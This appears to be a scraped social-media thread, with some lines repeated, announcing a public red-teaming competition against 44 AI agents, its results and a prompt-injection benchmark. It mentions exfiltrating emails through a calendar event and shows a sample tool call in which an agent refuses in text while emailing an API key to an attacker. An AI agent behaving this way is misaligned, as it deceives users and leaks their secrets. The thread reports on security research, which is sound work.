We deployed 44 AI agents and offered the internet $170K to attack them.
1.8M attempts, 62K breaches, including data leakage and financial loss.
🚨 Concerningly, the same exploits transfer to live production agents… (example: exfiltrating emails through calendar event) 🧵
1.8M attempts, 62K breaches, including data leakage and financial loss.
🚨 Concerningly, the same exploits transfer to live production agents… (example: exfiltrating emails through calendar event) 🧵
Huge thanks to @AISecurityInst , OpenAI, Anthropic, and Google DeepMind for sponsoring, and to UK and US AISI for judging. The competition was held in the @GraySwanAI Arena.
This was the largest open red‑teaming study of AI agents to date.
Paper: arxiv.org/abs/2507.20526
This was the largest open red‑teaming study of AI agents to date.
Paper: arxiv.org/abs/2507.20526
We deployed agents across real tasks (shopping, travel, healthcare, coding, support) with “must‑not‑break” policies: company rules, platform terms, and industry regulations.
The most secure model still had a 1.5% attack success rate (ASR).
Implication: without additional mitigations, your AI application can be compromised on the order of minutes.
Implication: without additional mitigations, your AI application can be compromised on the order of minutes.
We curated the strongest, reproducible breaks into the ART benchmark - a stress test with near 100% ASR across models we tried. We’ll be open sourcing the evaluation and a subset of the attacks for research purposes, in addition to a private leaderboard.
Many breaks are universal and transferable.
Copy‑paste patterns worked across tasks, models, and guardrails. If it breaks one agent today, it likely breaks yours.
Copy‑paste patterns worked across tasks, models, and guardrails. If it breaks one agent today, it likely breaks yours.
Favorite failure: “refuse in text, act in tools.” 😈
Model: “I can’t share credentials.”
Then: send_email(to=attacker, body="API_KEY=****")
The UI looks safe; the tool layer does the damage.
Model: “I can’t share credentials.”
Then: send_email(to=attacker, body="API_KEY=****")
The UI looks safe; the tool layer does the damage.
Can't we just patch?
History of jailbreaks says it’s whack‑a‑mole. Prompt‑only fixes don’t hold. Durable defenses require permissioned tools, policy‑aware training, and monitoring.
History of jailbreaks says it’s whack‑a‑mole. Prompt‑only fixes don’t hold. Durable defenses require permissioned tools, policy‑aware training, and monitoring.
The upshot?
Prompt‑injection risks appear to be a primary blocker to safe autonomous deployment. Treat AI agents like untrusted code touching live systems.
Prompt‑injection risks appear to be a primary blocker to safe autonomous deployment. Treat AI agents like untrusted code touching live systems.
Paper: arxiv.org/abs/2507.20526
Try breaking the agents yourself here: app.grayswan.ai/arena/challeng…
Blog: app.grayswan.ai/arena/blog/age…
Try breaking the agents yourself here: app.grayswan.ai/arena/challeng…
Blog: app.grayswan.ai/arena/blog/age…
• • •
Missing some Tweet in this thread? You can try to
force a refresh
